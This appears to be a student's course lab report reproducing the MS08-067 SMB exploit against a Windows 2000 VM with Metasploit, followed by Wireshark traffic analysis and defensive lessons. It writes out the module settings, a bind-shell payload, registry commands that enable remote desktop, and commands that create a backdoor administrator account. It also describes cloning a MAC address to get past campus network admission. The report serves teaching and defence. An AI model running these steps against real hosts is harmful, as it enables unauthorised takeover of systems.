本实验只用于课程环境下理解漏洞利用流程和流量分析方法,不针对任何未授权主机进行测试。
2.3.1 实验环境
| 角色 | IP 地址 | 操作系统 | 主要作用 |
|---|---|---|---|
| 攻击机 | 192.168.137.64 |
Kali Linux | 使用 Metasploit 发起漏洞验证,并通过 Wireshark 抓包分析 |
| 靶机 | 192.168.137.33 |
Windows 2000 | 存在 MS08-067 漏洞,作为实验目标 |
| 目标端口 | 445/tcp |
SMB 服务 | MS08-067 漏洞利用入口 |
| 后续端口 | 3389/tcp |
远程桌面服务 | 漏洞利用成功后开启,用于远程登录验证 |
2.3.2 配置靶机网络
漏洞利用前,首先要确认攻击机与靶机处于同一网段,并且攻击机能够访问靶机的 SMB 服务。如果网络不通,后续 Metasploit 模块即使配置正确,也无法将漏洞利用数据包发送到目标服务。
在 Windows 2000 靶机中配置网络参数,使其 IP 地址为 192.168.137.33,与 Kali 攻击机处于同一热点网段。

图 2-3-1 Windows 2000 靶机中配置实验网段内的网络地址。
随后在 Kali 中测试与 Windows 2000 靶机之间的网络连通性:
ping 192.168.137.33

图 2-3-2 Kali 中使用 ping 测试与 Windows 2000 靶机的连通性。
连通性测试正常后,说明 Kali 与靶机之间已经能够通信。后续只需要确认 445/tcp 服务可访问,就可以进入漏洞模块配置阶段。
2.3.3 加载 Metasploit 攻击模块并配置参数
在 Kali Linux 中启动 Metasploit,加载针对 Windows SMB 服务的 MS08-067 漏洞利用模块:
use exploit/windows/smb/ms08_067_netapi
MS08-067 是 Windows Server 服务中的经典远程代码执行漏洞,漏洞位置与 netapi32.dll 相关。攻击者可以向目标 445/tcp 端口发送特制 RPC 请求触发溢出,从而在目标主机上执行代码。
根据本次实验环境,配置攻击参数如下:
set rhost 192.168.137.33
set lhost 192.168.137.64
set rport 445
set payload generic/shell_bind_tcp

图 2-3-3 在 Metasploit 中配置 MS08-067 模块的目标地址、端口和载荷参数。
各参数含义如下:
| 参数 | 含义 |
|---|---|
rhost |
远程目标主机 IP,即 Windows 2000 靶机地址 |
lhost |
本地攻击机 IP,即 Kali 的地址 |
rport |
目标服务端口,SMB 服务默认使用 445/tcp |
payload |
漏洞触发后执行的载荷,此处使用绑定型 TCP Shell |
这里选择 generic/shell_bind_tcp,主要目的是在目标主机上绑定一个命令行 Shell,便于后续直接进行命令交互和权限验证。
2.3.4 执行漏洞利用并获取 Shell
参数配置完成后,执行漏洞利用:
exploit
Metasploit 会根据模块配置向目标主机发送利用请求。执行过程中,模块识别到目标系统版本为:
Windows 2000 - Service Pack 0 - 4 - Chinese Traditional
随后返回命令行 Shell 会话:
Command shell session 1 opened
Microsoft Windows 2000 [Version 5.00.2195]
C:\WINNT\system32>

图 2-3-4 Metasploit 执行 MS08-067 模块后返回 Windows 命令行 Shell。
出现 C:\WINNT\system32> 提示符,说明攻击机已经获得靶机上的命令执行入口。这里可以初步判断 MS08-067 漏洞利用成功,后续需要通过实际命令操作验证该 Shell 的可用性和权限范围。
判断漏洞是否利用成功,不能只看模块是否执行完成,还要看是否返回可交互 Shell,并进一步验证能否在目标系统中执行命令。
2.3.5 验证命令执行权限
获得 Shell 后,通过创建文件、创建目录和读取文件内容的方式验证当前会话是否具备实际操作能力。
执行命令如下:
cd \
echo This is wuchenyu 20253902 ,please offer me 100 ! > finish.txt
mkdir 20253902
type finish.txt

图 2-3-5 在返回的 Windows Shell 中创建文件、创建目录并读取文件内容。
文件可以成功写入,目录也能够正常创建,type finish.txt 能读取刚写入的内容。这里可以初步判断,当前 Shell 不只是连接成功,而是已经具备对靶机文件系统进行读写操作的能力。
这一步的意义在于:通过具体的系统命令验证控制效果,而不是只停留在“获得 Shell”的表面结果上。
2.3.6 开启远程桌面服务
为了进一步验证控制深度,尝试开启 Windows 2000 的远程桌面服务。Windows 远程桌面默认使用 3389/tcp 端口,可以通过修改注册表将 fDenyTSConnections 设置为 0 来启用。
执行命令如下:
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
也可以将命令写入批处理文件后调用:
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat

图 2-3-6 在 Windows Shell 中执行修改注册表的命令以开启远程桌面服务。
执行完成后,通过 netstat -a 查看端口监听状态:
netstat -a

图 2-3-7 使用 netstat -a 查看 Windows 2000 中远程桌面端口监听情况。
3389 端口进入监听状态后,说明远程桌面服务已经可以接收连接请求。这里为后续图形化远程登录打下基础。
开启远程桌面的目的不是单纯获得命令行控制,而是进一步验证攻击者是否能够从 Shell 控制扩展到桌面级接管。
2.3.7 创建管理员用户
远程桌面登录需要有效系统账户。为了完成登录验证,在 Shell 中创建新用户,并将其加入本地管理员组。
执行命令如下:
net user wuchenyu 20253902 /add
net localgroup administrators wuchenyu /add
net user

图 2-3-8 在 Shell 中创建 wuchenyu 用户并查看系统用户列表。
用户列表中出现 wuchenyu,说明用户创建成功。为了进一步确认该用户已经写入系统账户列表,可以在 Windows 2000 的“计算机管理”界面中查看本地用户。

图 2-3-9 Windows 2000 计算机管理界面中显示本地用户列表。
继续查看用户属性,确认该用户在系统中已经存在。

图 2-3-10 Windows 2000 中查看 wuchenyu 用户属性信息。
完成用户创建和管理员组添加后,该账户即可用于远程桌面登录验证。这里需要注意,真实环境中异常新增管理员账户是非常明显的入侵痕迹,防御方应重点审计这类行为。
2.3.8 远程桌面登录靶机
在 Kali Linux 中使用 rdesktop 连接 Windows 2000 靶机:
rdesktop 192.168.137.33
输入前面创建的账号凭据:
用户名:wuchenyu
密码:20253902
登录后进入 Windows 2000 图形化桌面环境。

图 2-3-11 Kali 使用 rdesktop 成功连接 Windows 2000 图形化桌面。
远程桌面登录成功,说明前面通过 Shell 完成的几步操作已经形成完整链路:开启远程桌面服务、创建用户、赋予管理员权限,最后使用该账户完成图形化登录。
到这里可以初步判断,攻击者已经从远程代码执行扩展到图形化桌面控制,靶机已处于较高风险状态。
2.3.9 Wireshark 抓包分析攻击流量
在攻击过程中,使用 Wireshark 对攻击机与靶机之间的通信进行抓包。这样可以从网络层面观察漏洞利用后的命令交互过程,也能验证前面 Shell 中执行的命令是否通过网络传输。
攻击机与靶机之间的主要通信双方为:
| 主机 | IP 地址 |
|---|---|
| Kali 攻击机 | 192.168.137.64 |
| Windows 2000 靶机 | 192.168.137.33 |

图 2-3-12 Wireshark 中捕获 Kali 与 Windows 2000 之间的 TCP 通信流量。
为了查看 Shell 会话中的具体交互内容,可以右键相关 TCP 数据包并选择追踪 TCP 流:
Follow → TCP Stream
追踪流中可以看到前面在 Shell 中执行过的命令,例如:
cd \
echo This is wuchenyu 20253902 ,please offer me 100 ! > finish.txt
mkdir 20253902

图 2-3-13 Wireshark 追踪 TCP 流后显示 Shell 会话中的命令内容。
继续观察后续流量,也可以看到与远程控制过程相关的 TCP 交互。

图 2-3-14 Wireshark 中继续查看攻击机与靶机之间的后续 TCP 通信内容。
这些抓包内容与前面在 Shell 中执行的命令能够对应起来,说明漏洞利用后的命令交互可以在网络流量中被还原。由于该 Shell 交互没有加密保护,命令内容在 TCP 流中呈现为可读文本,这也为入侵取证提供了依据。
Wireshark 抓包不仅能证明攻击过程确实发生,还能把攻击后的命令执行行为还原出来。对于明文 Shell 来说,网络侧监控可以直接看到很多后渗透操作痕迹。
2.3.10 实验总结与防御启示
本次实验通过 Metasploit 的 ms08_067_netapi 模块,对 Windows 2000 靶机的 SMB 服务进行了 MS08-067 漏洞验证。漏洞利用成功后,攻击机获得 Windows 命令行 Shell,并进一步完成了文件写入、目录创建、远程桌面开启、管理员用户创建和远程桌面登录等操作。整个过程展示了一个典型高危远程代码执行漏洞从“获取 Shell”到“扩大控制能力”的完整链路。
Wireshark 抓包结果也说明,漏洞利用后的 Shell 交互可以在网络层面被观察到。特别是在未加密的命令交互中,攻击机输入的命令、目标主机返回的内容都可能被流量分析工具还原出来。因此,抓包分析不仅能帮助理解攻击过程,也能用于入侵检测和事后取证。
从防御角度看,本次实验带来的启示主要有以下几点:
- 及时安装系统安全补丁,避免长期使用未更新的旧版操作系统。
- 关闭不必要的 SMB 服务,减少
445/tcp等高危端口暴露。 - 使用防火墙限制
445、3389等端口的访问范围,只允许可信 IP 访问。 - 定期审计系统用户列表,重点排查异常新增账户和管理员组变更。
- 部署 IDS / IPS,监控 SMB 协议中的异常 RPC 调用和可疑远程命令执行行为。
- 启用系统日志审计,保留账户创建、远程登录、服务启动和注册表修改记录。
- 对远程桌面服务进行访问控制,避免被攻击者作为后续图形化接管入口。
对于 MS08-067 这类远程代码执行漏洞,最有效的防护仍然是及时修补漏洞,并在网络边界严格限制高危服务端口的暴露范围。攻击一旦成功,后续可能迅速发展为账户创建、远程桌面开启和系统接管,因此防御时不能只关注漏洞触发本身,也要监控漏洞利用后的行为链。
三、遇到的问题
3.1 第二次打不通
在进行 MS08-067 漏洞利用实验时,第一次执行模块可以成功返回 Shell,但第二次再次执行时出现了无法打通的情况,Metasploit 没有像第一次一样正常建立会话。

图 3-1-1 第二次执行 MS08-067 漏洞利用时未正常返回 Shell 会话。
这个问题在漏洞复现实验中比较常见。MS08-067 属于远程溢出类漏洞,利用过程会对目标 SMB 服务和系统进程状态产生影响。第一次攻击成功后,目标服务可能已经处于异常状态,或者前一次 Shell 会话、绑定端口、系统资源没有完全释放,导致第二次利用时无法稳定复现。
这里可以初步判断,第二次打不通不一定是模块参数配置错误,而更可能与以下因素有关:
| 可能原因 | 说明 |
|---|---|
| 前一次会话未完全释放 | 第一次利用成功后,Shell 或绑定端口可能仍然占用资源 |
| SMB 服务状态异常 | 漏洞触发后目标服务可能出现不稳定或崩溃 |
| 靶机系统状态被改变 | 文件、服务、注册表或用户配置已经被修改 |
| 目标环境未恢复 | 远程桌面、端口监听、已有连接等状态可能影响后续验证 |
| 网络连接波动 | 使用热点或无线网络时,虚拟机 IP 和连通性可能不稳定 |
处理时,我优先检查了以下几个方面:
ping 192.168.137.33
nmap -n -p 445 192.168.137.33
如果 445 端口仍然开放,但模块无法再次成功利用,可以尝试先关闭已有 session,重新设置参数后再次执行:
sessions -l
sessions -k 1
show options
exploit
如果仍然失败,最直接的处理方式是重启 Windows 2000 靶机,让 SMB 服务和系统状态恢复到初始状态后再重新实验。
远程溢出类漏洞的复现稳定性通常不如普通命令执行漏洞。实验时建议每完成一次成功利用后,先保存截图和抓包结果;如果需要重复验证,最好重启靶机或恢复快照,保证目标环境回到干净状态。
3.2 网络不通
这个问题困扰了我好几个小时:Kali 虚拟机始终无法通过 DHCP 正确获取 IP 地址。每次连接校园网后,Kali 只能拿到 169.254 开头的 APIPA 地址,相当于处于“假连接”状态。

图 3-2-1 Kali 虚拟机未能通过 DHCP 获取正常地址,只获得 169.254 开头的 APIPA 地址。
169.254.x.x 地址一般不是正常的局域网地址,而是系统在 DHCP 获取失败后自动分配的链路本地地址。也就是说,Kali 表面上有 IP,但实际上并没有从校园网 DHCP 服务器拿到有效地址,因此无法正常访问网络,也无法和实验目标稳定通信。
排查时可以先确认网卡和地址状态:
ip addr
ip route
也可以尝试重新获取 DHCP 地址:
sudo dhclient -r
sudo dhclient
如果仍然只能获取到 169.254 地址,就需要考虑是否是校园网认证或 MAC 地址准入机制导致 DHCP 报文没有被正常放行。
经过反复排查,最终通过修改虚拟机网卡配置,并将虚拟机网卡的 MAC 地址克隆为物理机的 MAC 地址解决了问题。

图 3-2-2 在虚拟机网络配置中修改网卡 MAC 地址。
这里可以初步推测,校园网可能对 MAC 地址做了准入绑定或认证。物理机的 MAC 地址已经通过校园网认证,而虚拟机默认生成的 MAC 地址不在允许范围内,因此 Kali 的 DHCP 请求没有被正常处理,最终只能拿到 169.254 开头的 APIPA 地址。
修改 MAC 地址后,需要重启虚拟机或重新启动网络服务,使新的网卡配置真正生效:
reboot
也可以尝试重启网络服务:
sudo systemctl restart NetworkManager
四、心得体会
通过这次网络攻防实践,我最大的收获不是单纯“复现了某个漏洞”,而是第一次比较完整地把漏洞原理、攻击过程和流量证据串了起来。以前学习 MS08-067、IIS Unicode 目录穿越、RDS/MSADC 这些漏洞时,更多是记住它们的名字、影响范围和利用条件;但真正做完实验后,我发现漏洞利用并不是孤立发生的。攻击者往往会先做端口探测和服务识别,再根据系统版本和开放组件选择利用方式,成功进入系统后还会继续投递工具、维持控制、收集信息。也就是说,一次入侵更像是一条连续的攻击链,而不是某一个命令或某一个漏洞的结果。
这次实验也让我对流量分析的价值有了更深的体会。Wireshark 不只是用来看数据包数量的工具,而是可以帮助我们还原攻击过程的证据链。通过专家信息可以快速发现异常,通过 Conversations 可以定位通信双方,通过 HTTP 过滤可以梳理攻击者访问了哪些路径,通过 TCP 流追踪又能看到命令执行、FTP 下载和远程 Shell 的交互内容。原本看起来零散的数据包,按时间顺序整理后,就能还原出攻击者从信息搜集、漏洞利用到后渗透操作的完整轨迹。
在漏洞利用实验中,我也更直观地认识到补丁管理和端口暴露的重要性。MS08-067 这种老漏洞之所以危险,是因为它不需要复杂前提,只要目标系统存在漏洞并开放 SMB 相关端口,就可能被远程利用。攻击成功后,获取 Shell、创建文件、开启远程桌面、添加管理员用户这些操作都说明,系统一旦被突破,攻击者很快就能从“远程代码执行”发展到“主机接管”。这让我意识到,安全防护不能只停留在“服务器能不能正常运行”,更要关注系统是否及时更新、端口是否暴露过多、账户权限是否过大。
这次实验还让我形成了一个比较重要的安全思想:攻击要看链路,防御也要看链路。如果只防一个点,比如只关注 Web 请求,就可能忽略后续 FTP 外联和 Netcat Shell;如果只看主机日志,也可能漏掉前期的扫描和组件探测。真正有效的防御应该是多层次的:网络层限制高危端口,系统层及时修补漏洞,权限层坚持最小权限,日志层保留关键操作记录,流量层监控异常连接和可疑载荷。只有这些环节配合起来,才能更早发现问题,也能在出事后把攻击过程追溯清楚。
这次实验让我从“会用工具”向“理解过程”迈进了一步。我不仅学到了 MS08-067、RDS/MSADC、IIS Unicode 目录穿越等漏洞的利用思路,也学会了用 Wireshark 从流量角度验证和还原攻击行为。更重要的是,我开始意识到网络安全不能只靠单一技术点解决问题,而要从攻击链、防御链和证据链三个角度综合分析。后续学习中,我会继续加强漏洞原理、流量分析和防御策略方面的训练,尽量做到不仅能复现实验,也能解释清楚每一步为什么发生、留下了什么痕迹、应该如何防护。
五、参考资料
[1] HTTP协议及其POST与GET操作差异 - 博客园
[2] 基础知识:HTTP协议以及GET请求和POST请求的区别 - CSDN博客
[4] Kali之MSF的MS08-067漏洞复现详解 - CSDN博客
[8] IIS&Apache 攻击记录分析篇 - 腾讯云开发者社区
[9] MSF渗透使用说明 - 博客园
[10] kali之msf - CSDN博客
[11] 十条nmap常用的扫描命令 - 博客园
[12] 主动扫描-Nmap-端口、系统、服务扫描 - CSDN博客
[13] nc(netcat)使用教程 - 博客园
[14] Linux nc命令教程:如何使用网络界的瑞士军刀 - CSDN博客
[15] FTP流量分析 - CSDN博客
[16] Wireshark数据包分析实战:HTTP背后,TCP/IP抓包分析 - 博客园
[17] 破解给定的SAM文件 - CSDN博客

浙公网安备 33010602011771号